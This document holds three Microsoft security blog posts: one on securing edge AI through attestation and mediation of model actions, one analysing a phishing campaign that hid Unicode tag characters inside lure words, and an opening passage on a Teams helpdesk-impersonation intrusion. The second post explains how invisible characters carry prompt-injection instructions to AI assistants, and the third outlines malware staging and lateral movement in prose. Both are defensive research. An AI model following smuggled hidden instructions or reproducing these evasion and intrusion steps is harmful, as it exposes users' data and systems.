This moves sensitive AI assets and decision logic into potentially hostile environments. Attackers may have physical access to devices, local access to model artifacts, opportunities to tamper with retrieval data or tool configurations, compromise model supply chain and more direct paths from model behavior to real-world consequences.

Disconnected Edge deployments cannot rely on live cloud detection, policy updates, or revocation. They must maintain local verification and enforcement when cloud connectivity is unavailable. Risky AI operations should run only where hardware can protect assets and provide acceptable evidence. Otherwise, the operation should be deferred or revalidated.

Why AI changes the security problem

Unlike conventional software, AI models can be influenced by untrusted content while still using legitimate interfaces and credentials. This article focuses on the security response: architectures that constrain model actions and protect the model, credentials, and data around it.

Traditional software executes code developers ship. AI systems can change behavior based on prompts, retrieval data, agent instructions, and other runtime inputs. Protecting code alone is no longer sufficient; organizations must also establish trust in the data, context, and actions surrounding the model.

• Prompt injection can change model behavior. Assume prompt injection will occur, whether direct or indirect. Inputs can affect systems just like executable code because the context window itself acts as an instruction surface. Traditional controls such as signed binaries and code integrity checks were not designed to address this risk.
• Trusted data is not always safe data. Traditional vulnerability management does not map cleanly to “data as code,” such as a poisoned retrieval document. Origin signatures can prove where data came from, but they do not prove that the content is safe for an AI system to interpret.
• AI behavior is not fully deterministic. The same input may produce different outputs, and small context changes can significantly alter behavior. This limits the effectiveness of techniques such as signature detection and fuzzing. Grounding and tuning improve reliability, but they cannot enforce an acceptable risk boundary. At the authority boundaries it mediates, deterministic policy can still constrain actions when alignment, prompt-injection defenses, or content filters fail to stop an unsafe instruction.

Prompt injection, MCP, multi-agent systems, and computer-use agents on Edge expose different surfaces of these problems. Tool calls are delegated authority, agent output is untrusted input, and screen state is input, not authorization.

These characteristics mean organizations cannot rely on traditional software security controls alone. They also need to verify the environment where AI runs and constrain the actions an AI system is permitted to take.

Constrain model actions through deterministic mediation

Model output should recommend actions, not authorize them. A deterministic mediator outside the model enforces policy by allowlisting actions, scoping arguments, limiting frequency, and releasing credentials only when approved. The mediator is a logical boundary, not another model. It may be provided by the platform or integrated by the customer.

In this pattern, the mediator and its credentials are protected and attested. Mediation bounds what the model can do but does not guarantee that every permitted action is safe; high-consequence or irreversible actions require independent approval, an interlock, or fail-safe behavior.

Establish trust before releasing sensitive assets

Organizations must establish trust in the environment where AI runs and in the artifacts that shape AI behavior. Sensitive assets face two theft vectors: at-rest theft from stored artifacts and keys, and runtime theft while a compromised process holds them decrypted. Before release, the verifier asks two questions:

• Do I trust this runtime and the platform on which I am about to execute this workload?
• Do I trust these components, such as model weights, tool descriptors, agent definitions, and retrieval indexes, because I trust the system in which they were built and delivered?

Attestation answers the runtime question. Provenance answers the component question. Verifier policy requires both. Either question alone leaves a gap: an approved runtime can load a poisoned artifact, while a trusted artifact can run on a compromised platform. In this trust model, the build system that produced an artifact is treated as another runtime whose evidence is evaluated, and the chain continues until it reaches hardware the verifier accepts. Evidence comes from across the hardware, firmware, runtime, model, integration, and customer layers. It serves different relying parties: customers containing model behavior, publishers protecting model IP, and integrators validating the supply chain. The verifier combines that evidence to gate release.

Verify runtime before releasing sensitive assets

This pattern evaluates a runtime by whether it is measurable, can report its state, and matches an approved baseline before sensitive assets are released.

Confidential compute provides one way to do this. Without end-to-end confidential computing, a privileged host or unprotected accelerator path may be able to read or modify decrypted weights, credentials, and data. GPU/NPU drivers and DMA extend the trusted computing base beyond ordinary application-security visibility. Where confidential computing covers that path within the platform’s documented threat model, protected memory and hardware-rooted attestation can support release to an approved runtime. This is designed to protect assets from host access; it does not constrain a steered model’s actions through authorized interfaces. Those vectors need additional controls.

Because system state can change after deployment, release is treated as a renewable lease that expires when fresh evidence no longer matches the approved state. Physical controls address what measurement cannot see.

In this pattern, evidence gates scheduler placement, storage, identity, and credential release. Bind credentials to the approved runtime and action scope to reduce the risk that credential theft enables bulk exfiltration; otherwise, evidence does not enforce trust.

Verify artifacts that shape model behavior

Runtime trust proves only that the platform is acceptable; it does not prove that the artifacts loaded into it are trustworthy. A clean runtime can still execute a poisoned artifact.

That is why artifact trust has to be evaluated separately. Because these artifacts shape model behavior, accepting one into the system is more than data transfer. Creation, distribution, deployment, and use can each introduce a tampered artifact.

Model IP can extend beyond weights to provider-owned components that handle them; those components may warrant the same evidence-gated release.

In this pattern, approved components and updates enter through a trusted build environment; on-site changes appear as measurement drift rather than silently becoming a new baseline.

Each artifact should carry evidence of its origin, build pipeline, and input integrity. The verifier evaluates that evidence before accepting it. Provenance should chain to hardware and be produced inside a measured, policy-approved runtime. Signatures establish origin and integrity but may not show whether the producing runtime met verifier policy. Provenance helps responders reconstruct what happened: which model acted on which data, in what runtime, and under which policy.

Next steps

Bottom line: Edge AI changes the trust model for AI systems. Customers operate more of the stack, AI behavior is influenced by runtime inputs, and sensitive assets run in environments outside the provider’s direct control. Attestation, provenance, mediation, and evidence-based release help establish trust before models, data, and credentials are exposed.

Edge AI pushes security controls into devices, gateways, vehicles, factories, hospitals, retail spaces, and other customer environments.

For depth on the agent case, see our post on defense in depth for autonomous AI agents. Map sensitive assets, the runtimes and artifacts that can access them, and the party responsible for each release decision. Then define the evidence and policy required at every boundary. At the Edge, security should be architectural: anchored at hardware, enforced at every action.

The post How to secure edge AI in customer-owned environments appeared first on Microsoft Security Blog.

In this article

1. What is ASCII smuggling?
2. Writing a practical ASCII-smuggling signature
3. What we observed: ASCII smuggling repurposed for phishing
4. What is known and what is new
5. Is there a detection gap?
6. Mitigation and protection guidance
7. References
8. Learn More

Microsoft researchers observed a high-volume phishing campaign using invisible Unicode tag characters, a technique popularized in AI prompt injection research as ASCII Smuggling. Instead of using these characters to hide instructions from people while exposing them to AI models, the attacker used them to split financial lure words such as ‘funding’ to prevent email filters from parsing them.

The finding emerged from Microsoft Defender for Office 365 prompt injection protection research, showing how AI-era evasion techniques can surface in traditional phishing campaigns. In Microsoft telemetry, hits on a hunting signature designed to detect ASCII-smuggling increased sharply beginning February 9, 2026, and remained elevated on weekdays for approximately three months. Microsoft Defender for Office 365 telemetry showed that the majority of messages were flagged by layered protections rather than by reliance on a single Unicode-specific signal.

What is ASCII smuggling?

“ASCII smuggling” refers to the use of invisible or non-rendering Unicode characters to hide content inside text that looks normal. The most abused range is the Unicode Tags block, U+E0000 to U+E007F. This block contains a shadow copy of the printable ASCII characters (for example, U+E0041 mirrors ‘A’, U+E0061 mirrors ‘a’). The block was originally intended for language tagging and is now largely deprecated.

The important property for an attacker is this: most of these code points are not rendered by typical fonts and user interfaces. A string can therefore carry a message that is not readable to a human but will be processed by any language model or other software that receives a copy of the email content.

Why the AI-security world made it famous

Over the past year, ASCII smuggling became a recurring technique in the prompt injection and cross-prompt injection (XPIA) literature. The attack pattern is straightforward:

1. An attacker hides instructions inside invisible tag characters embedded in a web page, document, email, or other content.
2. A human (and many user interfaces) sees nothing unusual.
3. An AI assistant that ingests the raw text does “see” the hidden characters, decodes them as text, and may be induced to follow threat actor-controlled instructions, potentially including data exposure or unauthorized actions depending on the assistant’s permissions and safeguards.

Because this technique cleanly demonstrates the gap between what the human sees and what the model reads, it appeared frequently in AI red-teaming write-ups, conference talks, and tooling throughout 2025. That attention put a spotlight on the U+E0000-U+E007F range.

Because tag characters are invisible to humans but exist at the text-processing level, the same property that makes them useful for smuggling instructions into a model also makes them useful for obfuscating keywords before a detector evaluates them. The intent is inverted, but the mechanism is similar and a user’s suspicions are not raised.

Writing a practical ASCII-smuggling signature

As part of work on Microsoft Defender for Office 365 prompt injection protection, we built hunting logic for email-borne XPIA and prompt obfuscation patterns: content that looks harmless to users but may carry hidden instructions for an AI system that ingests the raw message. The same hunt designed to identify prompt injection risk in email became the starting point for this phishing-evasion discovery.

One practical way to hunt for ASCII smuggling is to look for messages carrying characters from the Unicode tags block (U+E0000-U+E007F), the hallmark of attempts to hide instructions from, or for, an AI model. That broad signature is a useful starting point, but it needs enough Unicode context to avoid mistaking legitimate tag-character sequences for abuse.

The first version simply flagged any code point in that range, which proved too blunt. It kept firing on a small subset of perfectly legitimate messages – which, on inspection, all contained one of three subdivision flag emojis: the flags of England, Scotland, and Wales – because those emojis are encoded using tag characters.

After those exclusions, remaining hits were mostly benign artifacts from email-security gateways, mailbox providers, and security or AI researchers forwarding or testing messages that contained tag characters. This provided a good baseline where any spikes would indicate abuse of this technique by attackers.

Figure 1. The three subdivision flag emojis – England, Scotland, and Wales – that tripped the naive signature. Each is encoded as a sequence of invisible Unicode tag characters (U+E0000-U+E007F).

Figure 2. The Wales flag emoji pasted into the ASCII Smuggler tool from Embrace The Red. What renders as a single flag is actually a base flag code point (U+1F3F4) followed by an invisible tag-character sequence spelling gbwls (U+E0067 U+E0062 U+E0077 U+E006C U+E0073) and a terminating tag (U+E007F) – the same U+E0000-U+E007F range the signature watches for.

What we observed: ASCII smuggling repurposed for phishing New activity emerges in telemetry

The tuned ASCII-smuggling signature began as an AI-security hunt for hidden prompt injection content in email. Instead, it surfaced finance-themed phishing messages using the same Unicode range for filter evasion.

On February 9, 2026, signature hits increased sharply. The following chart reflects Microsoft Defender for Office 365 telemetry for the hunting signature over the measured period:

Figure 3. Daily hits on the ASCII smuggling signature, a week before and after onset. Volume holds at a low-thousands baseline through February 8, jumps roughly two orders of magnitude on February 9, peaks at over 2.3 million messages on February 11, and dips sharply on Sunday February 15 before rebounding.

The day before onset (February 8) the signature fired on roughly 21,000 messages; the next day it fired on more than 1.3 million. Most of the emails can be formed into a cluster of roughly 150 finance-themed sender domains.

Observed over three months with a weekly rhythm

Continuing to track the clustered sender domains forward in time, we measured messages matching the activity described every day. The high-volume phase persisted for roughly three months after February 9 and dropped sharply after May 15, 2026. These dates bound the observed use of the specific technique in our telemetry, not the broader campaign, which started earlier without it and continued without it.

Figure 4. Daily Unicode-tag signature hits on finance-themed sender domains, log scale, measured every day from February 9 through June 18, 2026. The deep recurring drops are weekend pauses in the observed signature matches; the decline after May 15 marks the end of the high-volume phase matching this exact activity, followed by a low residual.

Two characteristics stand out:

• A strict weekly cadence. The campaign ran hard on weekdays and went almost completely silent every weekend. Sundays’ volume collapsed to a near-zero and then back to full volume the next day. This on/off pattern is typical of scheduled bulk-sending infrastructure.
• A long, gradual decline. After an intense first phase, with weekday volumes of 1 to 2.37 million messages, peaking on February 26, the numbers stepped down slowly to roughly 80% less per weekday by late March. The high-volume usage of the technique dropped sharply after May 15, with lower residual activity through mid-June and occasional smaller spikes.

After identifying the activity through this technique-specific signal, we connected it to a broader ActiveCampaign-delivered SBA-themed phishing campaign that Fortra had documented earlier. That earlier reporting indicates the campaign predated the adoption of Unicode tag characters; our analysis focuses on the period and messages in which this method was present, not the full lifetime of the broader campaign.

Not instruction smuggling, but filter evasion Observed obfuscation pattern

When we looked at a sampling of the flagged messages, the surprise was there were no smuggled instructions to an AI assistant. Instead, the invisible tag characters were inserted inside common financial keywords, splitting them apart so that a literal signature or keyword match would fail.

Figure 5. Example of a finance-themed phishing email promoting business funding and credit-line offers. Figure 6. A second example of a finance-themed phishing email advertising business funding and line-of-credit offers. Similar messages in the campaign inserted invisible Unicode tag characters into financial lure terms to help evade detection.

For example, a finance lure term that appeared normal to the recipient could be transmitted with an invisible tag character in the middle:

funding

became:

fun⟨U+E0020⟩ding

Figure 7. Example of the HTML source of a phishing email from the observed campaign. The yellow rectangles highlight invisible Unicode tag characters.

Here, ⟨U+E0020⟩ represents the invisible Unicode TAG SPACE inserted between letters. In the messages we examined, the campaign did not encode a hidden ASCII message in the tag block; it used a single invisible tag character as a separator sprinkled inside high-signal words. Strictly speaking, this is invisible-character insertion using a code point from the ASCII-smuggling tag block, rather than full message smuggling.

Why it can affect detection

To a recipient, and to parsing pipelines that drop or normalize these characters, the word still reads as funding. To a detector matching the literal string funding, or a regex that does not account for interleaved invisible code points, the byte sequence no longer contains the contiguous keyword. Whether real-world detectors behave that way depends on their normalization step, which is examined below.

The bigger prize for the attacker, though, is not preventing the literal string matches; it is the ML- and NLP-based models that increasingly drive modern spam and phishing classification. Unless a filtering system takes a picture of a message and does OCR extraction over the visual image, it may miss this type of attack. A standard email classifier may not reason over whole words exactly as a human sees them; for efficiency, they can first split text into tokens or sub-word pieces. A clean lure term such as funding may be represented as a familiar token or a familiar sequence of sub-tokens. Insert an invisible U+E0020 into the middle, however, and the tokenizer may no longer see that same familiar unit. It might split the text into fun, an unexpected tag character, and ding; it might emit rare or unknown sub-tokens; or, if normalization runs first, it simply removes the U+E0020 character, leaving funding.

Why it can help defenders

There is also a defensive opportunity. Since this kind of manipulation appears so seldom in normal traffic, its presence becomes a high-confidence signal. A technique meant to make messages look more benign to ML models can instead give defenders a low-false-positive indicator to detect on.

What is known and what is new

Inserting invisible or look-alike characters to break keyword and signature matching is a long-standing evasion technique used in spam and phishing: defenders have for years seen zero-width spaces (U+200B), zero-width non-joiners, the no-break space (U+00A0), soft hyphens, and homoglyph substitutions used to fracture words so naive string matchers fail.

What is new is the specific characters and scale of the campaign:

• The character choice. Instead of the usual zero-width space or NBSP, this campaign reached for the Unicode Tags block. That block went from forgotten to famous over the past year because of AI security research into ASCII smuggling and prompt injections.
• The scale and discipline. At its peak in Microsoft telemetry, the campaign generated multi-million message daily volume.
• A possible detection blind spot. Because the Unicode Tags block is less commonly abused than zero-width spaces or NBSP, defenders should verify that normalization and tokenization pipelines handle tag characters consistently.

Financially themed sending domains

The campaign ran on hundreds of disposable, finance-themed sender domains pushing business loan / line-of-credit / advance-funding phish – typically seen with advance-fee fraud and credential-harvesting funnels with lures that resembled business loan, line-of-credit, and advance-funding phishing patterns often associated with fraud or credential-harvesting funnels. This pattern accounted for roughly 96% of the volume flagged by the hunting signature. The signature also fired on other domains, but those were unrelated senders – chiefly email-security gateways and personal mailbox providers – not part of the campaign.

A partial sample of sender domains counts from February 9, 2026 alone illustrates both the naming pattern and the per-domain volume:

Sender domainHits (Feb 9, 2026)guardiangrowthfunding[.]com30,442digitalcapitalboost[.]com27,021thebusinessloanexpress[.]com25,048yourlocfunding[.]com24,482advancefundingboost[.]com24,053guardiancapitalway[.]com23,921harboradvancefunding[.]com23,595unitedfundingwave[.]com23,269directcapitalboost[.]com22,875onlinedirectfinance[.]com21,195catalystcapitalharbor[.]com21,130rocketboostfunding[.]com20,908digitalrushcapital[.]com20,796guardianloccapital[.]com20,781guardianlocchoice[.]com20,553ourbusinessloans[.]com20,444directcapitalpulse[.]com19,767catalystboostfunding[.]com19,519elevatecapitalrush[.]com19,395fundingexpresscapital[.]com18,695

Table 1. Top 20 (by signature hits) of the 148 finance-themed campaign sender domains seen on February 9, 2026, illustrating the naming convention and per-domain volume.

Every domain is just a recombination of the same small vocabulary. The 20 domains above are built from only 28 word-tokens:

advance · boost · business · capital · catalyst · choice · digital · direct · elevate · express · finance · funding · growth · guardian · harbor · loan · loans · loc · online · our · pulse · rocket · rush · the · united · wave · way · your Sent through a legitimate email-marketing platform

The finance-themed domains in Table 1 are the brand (header / P2) domains the recipient sees, but the actual mail was relayed through infrastructure associated with the legitimate email-marketing platform ActiveCampaign. The platform, which is used widely for marketing, rewrites every outbound link in the message body to route through its own click-tracking domains (acemlnd[.]com and activehosted[.]com), so the URLs the recipient clicks do not point at the brand domain at all – they look like:

hxxps://.acemlnd[.]com/ hxxps://.activehosted[.]com/

Most of the flagged messages carried links associated with the platform’s tracking domains rather than direct links that point directly to the sender-branded domains. The envelope (P1) senders were platform subdomains of the form em-<id>.<brand-domain>.

ActiveCampaign response

Before we published this information, we shared our findings with ActiveCampaign to help them with this abuse, and they wanted us to share the following statement on their work to detect it:

“We appreciate Microsoft’s research and welcome collaboration with the security community to combat this activity. We take abuse, fraud, and security extremely seriously. We tested the specific technique described in this research against our content-moderation systems: messages containing invisible Unicode characters receive the same moderation verdicts as their unobfuscated equivalents, and heavy use of the technique is itself treated as a suspicious signal. We continually invest in improving our detection and prevention capabilities, including expanding our use of AI and machine learning to identify abusive sending behavior earlier in the account lifecycle.” — ActiveCampaign spokesperson

As with any shared sending service, attacker abuse of customer accounts or workflows can complicate reputation-based filtering. By originating from a reputable marketing platform with established IP reputation and authentication, the activity may appear more similar to legitimate marketing traffic and can complicate reputation-based filtering.

Most observed volume also originated from cloud-hosting ranges consistent with the platform’s outbound infrastructure, with the vast majority coming froma single network block, 173.236.20[.]0/24. This indicator helped us cluster the campaign more precisely but note that this is a legitimate segment that belongs to the abused service, and not an IOC on its own.

Identifying the campaign

Content and infrastructure remained consistent for a long time span, providing an effective way to easily fingerprint this phase of the campaign:

• Unicode content (primary). Invisible Unicode tag characters in the range U+E0000-U+E007F – specifically U+E0020 – spliced inside keywords. Legitimate mail rarely ever carries these code points: the one routine exception, the England/Scotland/Wales flag emojis, is easily excluded.
• Lure and brand pattern. Sender (header / P2) domains assembled from a small finance vocabulary – capital, fund/funding, loan, loc, lend, finance, business, express, growth, solutions, choice, hedge, pillar – recombined into fresh, disposable domains and rotated.
• Envelope (P1) pattern. The bulk of mail is relayed through a single email-marketing platform, recognizable by envelope shape rather than any one name:
  • per-account subdomains shaped em-<digits>.<brand-domain> (regex em-\d+\.), where a small set of reused account numbers fans out across hundreds of brand domains; and
  • the platform’s shared sending pool, shaped acems<N>[.]com and emsd<N>[.]com (e.g. emsd4[.]com, s9.acems10[.]com). Across the measured activity, ~98.5% of messages matched this envelope pattern, and ~99.8% matched the envelope pattern or the platform’s tracking-URL pattern (below).
• Tracking-URL pattern. Click/tracking links on the platform’s domains activehosted[.]com and acemlnd[.]com.
• Sending-origin pattern. The bulk of daily volume – about 92% across two measured weeks – originated from a single /24 network block, 173.236.20[.]0/24.

For a high-precision rule, look for the Unicode content pattern combined with the finance-brand pattern, using the sender infrastructure patterns as corroboration.

However, this is just a phase in a long-running broader campaign, that keeps adapting and evolving. The campaign was observed months earlier following a different set of behaviors and continued even after the usage of the specific technique was dropped. During these shifts in behavior, one signature may no longer describe the campaign, while another still matches.

Is there a detection gap?

The potential gap for mail-defense pipelines is whether Unicode tag characters are normalized or flagged before content detections run. In Defender, our filter stack can take a picture of message contents, extract visible text through OCR, and run analysis over that extracted text to avoid these types of tricks. Implementations vary, so defenders should test how these characters are handled in their own pipelines. For MDO protection, over 99% of messages were flagged by layers that did not depend on catching the tag characters directly, including sender, IP, URL and domain reputations, ML spam/phishing classification, brand-impersonation detection, authentication checks and more.

ASCII smuggling earned its reputation as an AI attack, hiding instructions from people while leaving them visible to models. This campaign shows the same technique being repurposed for a different objective: obscuring phishing content from detection systems while remaining readable to the intended target.

The broader lesson is that security techniques rarely stay confined to a single domain. As AI-era attack methods become better understood, threat actors may adapt them for use in more traditional threats such as phishing and spam. This case illustrates how techniques that emerge in AI security research can quickly cross over into established attack ecosystems, reinforcing the need for defenders to view emerging threats through a cross-domain lens.

Mitigation and protection guidance

The core defensive principle is simple: normalize before you match. Any content that will be evaluated by keyword, signature, or regex logic should first have invisible and non-rendering Unicode code points stripped or folded, so that splicing them into a word no longer defeats the match.

Recommended controls

• Strip or normalize Unicode tag characters (U+E0000-U+E007F) – and other zero-width / invisible code points – from email subject and body text before applying spam and phishing content signatures.
• Treat the presence of tag-block characters as a strong anomaly signal. Outside known legitimate tag-sequence uses such as certain subdivision flag emojis, these code points are rare in ordinary mail and can be a high-value anomaly signal.
• Look for the behavioral fingerprint. The observed activity had a distinctive shape: bulk volume from churning, finance-themed disposable domains, on a strict weekday-on / weekend-off schedule. A sudden spike of tag-block characters concentrated on finance-themed senders, switching on and off weekly, is a high-confidence campaign indicator.
• Apply the same normalization upstream of AI ingestion. The same control that defeats this evasion also reduces XPIA / ASCII-smuggling exposure for AI assistants that ingest email content.

Microsoft protections

Microsoft Defender for Office 365 has heuristic detections in place to flag these the tactics employed in this type of campaign. The detection that first surfaced the spike continues to flag messages carrying Unicode tag-block characters, and the financially themed sending domains are being tracked and blocked as they rotate. Microsoft uses layered email protections, including standard and OCR content analysis, sender and domain reputation, URL detonation and reputation, bulk-mail detection, and anti-phishing models, to reduce reliance on any single signal that an attacker can try to evade.

Microsoft Defender for Office 365 prompt injection protection further helps protect against emails that contain prompt injection attempts, including cases where invisible characters are used to hide instructions from users while exposing them to AI systems. The same normalization and detection principles that reduce ASCII-smuggling-based prompt injection risk also help blunt this email-borne reuse of the technique for phishing evasion. Investments in AI security and traditional email security increasingly reinforce one another.

Coverage depends on product licensing, configuration, and telemetry.

Advanced hunting

These queries run against the EmailEvents Advanced Hunting table (and EmailUrlInfo for URL joins). They hunt the campaign by its infrastructure fingerprint – the finance-vocabulary brand senders and the marketing-platform envelope shape – rather than by the invisible tag characters, as the mail body is not exposed through the table’s columns. These queries are starting points and may require environment-specific tuning. The proactive defense is implemented with multiple layers of the enterprise mail-filtering pipeline.

1. Infrastructure pattern – finance-vocabulary senders relayed with the campaign’s envelope shape. Combines the brand-domain pattern (a header sender built from three or more adjacent finance/brand keywords, e.g. digital+capital+boost) with the envelope (MAIL FROM) shape em-<digits> / acems<digits> / emsd<digits> – the durable fingerprint that held across the entire period we measured.

// Finance/brand vocabulary the operator recombines into disposable domains. let kwds = @"(capital|fund|hedge|express|solutions|choice|lend|growth|loan|loc|finance|business|pillar|advance|boost|catalyst|digital|direct|elevate|guardian|harbor|online|pulse|rocket|rush|united|wave|way|surge|swift|elite)"; EmailEvents | where Timestamp > ago(30d) | where EmailDirection == "Inbound" // Header sender domain made of >=3 adjacent finance/brand tokens. | where SenderFromDomain matches regex strcat("(?i)", kwds, kwds, kwds) // Envelope (MAIL FROM) shape: em- | acems | emsd. | where SenderMailFromDomain matches regex @"(?i)(em-|acems|emsd)\d" | sort by Timestamp desc

For extra corroboration you can scope to the single dominant /24 that carried the bulk of this campaign’s volume, 173.236.20[.]0/24, by adding | where ipv4_is_in_range(SenderIPv4, “173.236.20.0/24”). Like the tracking URLs, that network block is shared platform space (it also carries unrelated legitimate newsletters), so use it to scope, never as a standalone filter.

2. Pivot on the platform tracking URLs. Start from the click/tracking links and join back to the mail events. Useful for scoping, but treat it as corroboration, not a verdict: the tracking domains activehosted[.]com and acemlnd[.]com are shared by every legitimate customer of the same marketing platform, so the URL on its own is not a malicious indicator. The finance-brand filter is what keeps this on the campaign; drop it only if you deliberately want a wider search.

let kwds = @"(capital|fund|hedge|express|solutions|choice|lend|growth|loan|loc|finance|business|pillar|advance|boost|catalyst|digital|direct|elevate|guardian|harbor|online|pulse|rocket|rush|united|wave|way|surge|swift|elite)"; EmailEvents | where Timestamp > ago(30d) | where EmailDirection == "Inbound" | where SenderFromDomain matches regex strcat("(?i)", kwds, kwds, kwds) | join kind=inner ( EmailUrlInfo | where Timestamp > ago(30d) | where UrlDomain endswith "activehosted.com" or UrlDomain endswith "acemlnd.com" | distinct NetworkMessageId ) on NetworkMessageId | sort by Timestamp desc

3. Filter for prompt injection detection in emails

The feature used in the query below is available for Microsoft Defender for Office 365 Plan 2 or Microsoft 365 E5 customers.

EmailEvents | where DetectionMethods has "Prompt Injection Protection" MITRE ATT&CK techniques observed

This campaign exhibits the following MITRE ATT&CK® techniques. The table includes MITRE ATT&CK for phishing/evasion behavior and MITRE ATLAS for the AI-security technique class related to prompt obfuscation.

TacticTechnique IDTechniqueHow it presents in this campaignInitial AccessT1566PhishingBulk financial-lure spam and phishing email (business loan / line-of-credit / advance-funding offers) sent from disposable, finance-themed domains.Defense EvasionT1027Obfuscated Files or InformationInvisible Unicode tag characters (U+E0000-U+E007F) spliced into high-signal keywords to break signature and keyword matching and alter downstream tokenization.Defense Evasion (AI)AML.T0068LLM Prompt Obfuscation Indicators and hunting pivots IndicatorTypeDescriptionCharacters in range U+E0000-U+E007F in email subject/bodyContent patternUnicode tag-block characters spliced into spam/phishing keywords to evade signaturesFinance-themed disposable domains (capital, fund, funding, loan, loc, lend, finance, business, express, growth, solutions, choice, pillar)Sender domain patternBulk-registered, rotating sender domains used by the campaign. See representative sample in Table 1.Envelope (P1) sender shaped em-<digits>.<brand> or shared pool acems<N>[.]com / emsd<N>[.]comInfrastructure patternReputation-laundering relay through a legitimate email-marketing platformSending IPv4 block 173.236.20[.]0/24Infrastructure (IPv4)Single /24 that carried ~92% of the measured activity volume; legitimate shared email-marketing-platform egress space – a strong scoping/corroboration signal, not a standalone block indicator References

• Unicode Standard Annex #45 – Tags (U+E0000-U+E007F) – the deprecated Unicode tags block abused for ASCII smuggling
• ASCII Smuggler Tool: Crafting Invisible Text and Decoding Hidden Codes | Embrace The Red – public write-up showing how Unicode tag characters can hide text from users while remaining present to language models
• LLM Prompt Obfuscation | MITRE ATLAS™ – the AI-security technique class this evasion crossed over from
• Attackers exploit ActiveCampaign to deliver thousands of AI-generated SBA phish | Fortra – earlier reporting on the broader ActiveCampaign-delivered SBA-themed phishing campaign, before the Unicode tag-character evolution examined here

Learn More

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.  

• Learn more about securing Copilot Studio agents with Microsoft Defender 
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Microsoft 365 Copilot AI security documentation
• How Microsoft discovers and mitigates evolving attacks against AI guardrails

• Manipulating AI memory for profit: The rise of AI Recommendation Poisoning | Microsoft Security Blog – a related example of an AI-era technique observed in email traffic
• Defending the inbox against prompt injection attacks | Microsoft Defender for Office 365 Blog – feature announcement introducing prompt injection protection in Microsoft Defender for Office 365.
• Prompt injection protection in Microsoft Defender for Office 365 – official documentation of the prompt injection protection in Microsoft Defender for Office 365.
• How Microsoft discovers and mitigates evolving attacks against AI guardrails | Microsoft Security Blog

The post ASCII smuggling crosses over from AI prompt injection to phishing evasion appeared first on Microsoft Security Blog.

In this article

1. Risk to enterprise environments
2. Attack chain overview
3. Mitigation and response recommendations
4. Learn more

Microsoft Threat Intelligence has observed a human-operated intrusion campaign that abuses Microsoft Teams external collaboration to impersonate IT or helpdesk personnel and socially engineer users into granting an interactive remote session. Once remote control is established via RMM tools, the threat actor uses PowerShell to download and silently install a malicious MSI package, which in turn stages a portable Node.js runtime and an obfuscated JavaScript implant that provides persistent command execution and command and control (C2).

Unlike commodity phishing that ends with an infostealer, this campaign follows a full hands-on-keyboard playbook. After the implant is deployed, the threat actor performs extensive host and Active Directory reconnaissance, periodically captures screenshots of the victim’s desktop, executes follow-on payloads through trusted Windows binaries, and pivots across the enterprise over Windows Remote Management (WinRM) toward high-value assets such as domain controllers. The intrusion relies heavily on legitimate tooling, including Microsoft Teams, remote support software, Windows Installer, Node.js, and native administrative protocols, allowing the activity to blend into expected enterprise operations at nearly every stage.

This intrusion pattern is especially high-impact because it hands an external operator credential-backed, interactive access to internal infrastructure. The reconnaissance and lateral movement patterns observed: domain enumeration, server discovery, and WinRM pivoting toward identity systems, are consistent with intrusion activity that can precede data theft, extortion, ransomware deployment, or other follow-on objectives, in which threat actors map the environment, escalate privileges, disable security controls, exfiltrate business-relevant data, and ultimately deploy ransomware across the organization.

In this blog, we share our analysis of this attack chain, from initial Microsoft Teams contact through internal lateral movement, along with mitigation and hunting guidance to help defenders detect and disrupt this user-initiated access pathway before it escalates into broader compromise.

Risk to enterprise environments

By abusing enterprise collaboration workflows instead of traditional email-based phishing, the threat actor initiates contact through Microsoft Teams in a way that appears consistent with routine IT support. Microsoft Teams applies multiple security controls at the point of first external contact, including external tenant labeling, Accept/Block prompts, message previews, and phishing indicators, but this attack chain depends on convincing the user to bypass those warnings and voluntarily grant remote access through legitimate support tools.

An approved external Teams interaction, followed by a remote session, can enable the threat actor to:

• Establish interactive, credential-backed system access through a legitimate remote support tool.
• Execute threat actor-controlled code (MSI loader and Node.js implant) using trusted installers and runtimes.
• Map the host and Active Directory environment through automated discovery
• Move laterally toward high-value infrastructure using WinRM.
• Capture on-screen activity and create opportunities for follow-on data access or other post-compromise actions.

Attack chain overview

The campaign follows a multi-stage attack chain that progresses from social engineering through payload delivery, execution, reconnaissance, and ultimately lateral movement:

1. Initial access via Teams (T1566.003): A threat actor operating from an external tenant initiates a Teams chat or call while impersonating IT/helpdesk staff and coaxes the user into handing over their device, for example, approving a “request control” prompt during a Teams screen-share, or opening Quick Assist and reading back the connection code.
2. Remote session and MSI delivery: During the remote session, the threat actor runs PowerShell to download a malicious MSI from cloud storage and installs it silently with msiexec.

3. Node.js runtime and implant staging: The MSI installs a script-based loader and a separate encrypted implant file under LocalAppData. If Node.js is not already available, the bootstrap downloads the legitimate portable Node.js runtime from the official distribution. The loader decrypts the implant at runtime, either in memory or into a temporary JavaScript file.
4. Script-based bootstrap and Node.js execution:The MSI launches hidden bootstrap code through trusted Windows script hosts, including PowerShell, cmd.exe, and WScript. The bootstrap obtains a portable Node.js runtime and uses it to decrypt and execute the JavaScript implant from a user-writable directory.
5. Command-and-control and operator tasking:The implant uses randomized HTTPS polling to receive JavaScript tasks from its C2 server. Observed operator-issued tasking performed host reconnaissance, security-product and virtualization discovery, and periodic desktop screen capture.
6. Domain discovery: The operator enumerates domain accounts, servers, and users through native tools and Active Directory Service Interfaces (ADSI) queries.
7. Follow-on payload execution: Additional payloads are executed through rundll32 loading threat actor-supplied DLLs.
8. Lateral movement via WinRM:Operator-issued tasking executed through the Node.js backdoor initiates WinRM connections over TCP port 5985 to domain-joined systems, including domain controllers and certificate authorities.

Figure 1. Teams phishing intrusion attack chain overview. Stage 1: Initial contact via Teams (T1566.003 Spearphishing via Service)

The intrusion begins with abuse of external collaboration features in Microsoft Teams, where a threat actor operating from a separate tenant initiates contact while impersonating internal IT or helpdesk personnel. This activity does not stem from a weakness in Microsoft Teams or its built-in protections; instead, the threat actor abuses legitimate collaboration features by persuading the user to override clearly presented security warnings, highlighting the broader challenge of defending against social engineering rather than technical exploitation.

